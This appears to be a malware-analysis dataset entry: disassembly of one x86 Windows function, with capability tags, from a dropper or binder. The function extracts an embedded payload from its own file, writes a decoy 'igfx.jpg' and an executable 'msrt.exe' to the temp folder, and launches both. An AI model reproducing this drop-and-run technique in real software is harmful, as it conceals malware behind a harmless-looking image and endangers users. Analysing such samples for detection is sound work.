Function at 0x401c00
Capabilities:
Create process on windows
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x402bac
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x410
push ebx
push ebp
push esi
push edi
push 0x404330
mov esi, ecx
push 0x100
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x404330
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0x120]
lea ecx, [esp + 0x20]
push eax
lea edx, [esp + 0x224]
push ecx
lea eax, [esp + 0x328]
lea ebp, [esi + 0x64]
push edx
push eax
push ebp
mov dword [esp + 0x43c], ebx
call dword [sym.imp.MSVCRT.dll__splitpath]
lea edi, [esp + 0x34]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x401c92
push str.igfx.jpg
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator_1
jmp 0x401d01
push 0x4040c4
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esp + 0x10]
mov byte [esp + 0x428], 1
mov ecx, dword [eax - 8]
cmp byte [ecx + eax - 4], 0x2e
jne 0x401cd4
lea edx, [esp + 0x10]
lea ecx, [esp + 0x14]
push edx
call sub.MFC42.DLL_CString::operator
jmp 0x401cf0
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
call sub.MFC42.DLL_CString::operator
push str..jpg
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x10]
mov byte [esp + 0x428], 0
call fcn.004024f6
mov ecx, dword [0x404024]
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
push 0x4040b8
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_fopen]
mov dword [esi + 0x16c], eax
call ebp
mov edi, eax
add esp, 0xc
cmp edi, ebx
jne 0x401d40
mov edx, dword [esi + 0x16c]
push edx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
jmp 0x401f4a
mov eax, dword [esp + 0x14]
push 0x4040b4
push eax
call ebp
add esp, 8
cmp eax, ebx
mov dword [esp + 0x10], eax
jne 0x401d6c
mov ecx, dword [esi + 0x16c]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
jmp 0x401f4a
mov edx, dword [0x404024]
push ebx
push edx
push edi
call dword [sym.imp.MSVCRT.dll_fseek]
mov ebp, dword [sym.imp.MSVCRT.dll_fread]
push edi
lea eax, [esi + 0x60]
push 1
push 4
push eax
call ebp
add esp, 0x1c
test eax, eax
jne 0x401da8
mov eax, dword [esi + 0x16c]
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
jmp 0x401f4a
mov ecx, dword [esi + 0x16c]
push edi
push 4
push 1
push ecx
call ebp
add esp, 0x10
test eax, eax
je 0x401df7
mov ecx, dword [esi + 0x60]
lea edx, [eax + ebx]
cmp edx, ecx
jle 0x401dcb
sub ecx, ebx
mov eax, ecx
mov ecx, dword [esp + 0x10]
mov edx, dword [esi + 0x16c]
push ecx
push eax
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add ebx, eax
mov eax, dword [esi + 0x16c]
push edi
push 4
push 1
push eax
call ebp
add esp, 0x20
test eax, eax
jne 0x401dbd
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea ecx, [esp + 0x1c]
mov dword [esp + 0x10], 0
push 0x404330
call sub.MFC42.DLL_CString::CString_1
push str.msrt.exe
lea edx, [esp + 0x1c]
push eax
push edx
mov byte [esp + 0x434], 2
call sub.MFC42.DLL_operator
lea ecx, [esp + 0x1c]
mov byte [esp + 0x428], 4
call fcn.004024f6
mov eax, dword [esp + 0x18]
push 0x4040b4
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x401e79
mov ecx, dword [esi + 0x16c]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 8
jmp 0x401f21
mov edx, dword [esi + 0x60]
mov eax, dword [0x404024]
push 0
lea ecx, [edx + eax + 4]
push ecx
push edi
call dword [sym.imp.MSVCRT.dll_fseek]
mov edx, dword [esi + 0x16c]
push edi
push 4
push 1
push edx
call ebp
add esp, 0x1c
test eax, eax
je 0x401ed4
push ebx
push eax
mov eax, dword [esi + 0x16c]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov ecx, dword [esp + 0x20]
push edi
add ecx, eax
push 4
mov dword [esp + 0x28], ecx
mov ecx, dword [esi + 0x16c]
push 1
push ecx
call ebp
add esp, 0x20
test eax, eax
jne 0x401ea4
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fclose]
call ebx
push edi
call ebx
mov eax, dword [esp + 0x18]
mov edi, dword [sym.imp.MSVCRT.dll_free]
add esp, 8
test eax, eax
jne 0x401efd
mov edx, dword [esi + 0x16c]
push edx
call edi
add esp, 4
mov eax, dword [esi + 0x16c]
push eax
call edi
mov ecx, dword [esp + 0x1c]
add esp, 4
push 0
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [esp + 0x14]
push 5
push 0
push 0
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x18]
mov byte [esp + 0x428], 0
call fcn.004024f6
lea ecx, [esp + 0x14]
mov dword [esp + 0x428], 0xffffffff
call fcn.004024f6
mov ecx, dword [esp + 0x420]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x41c
ret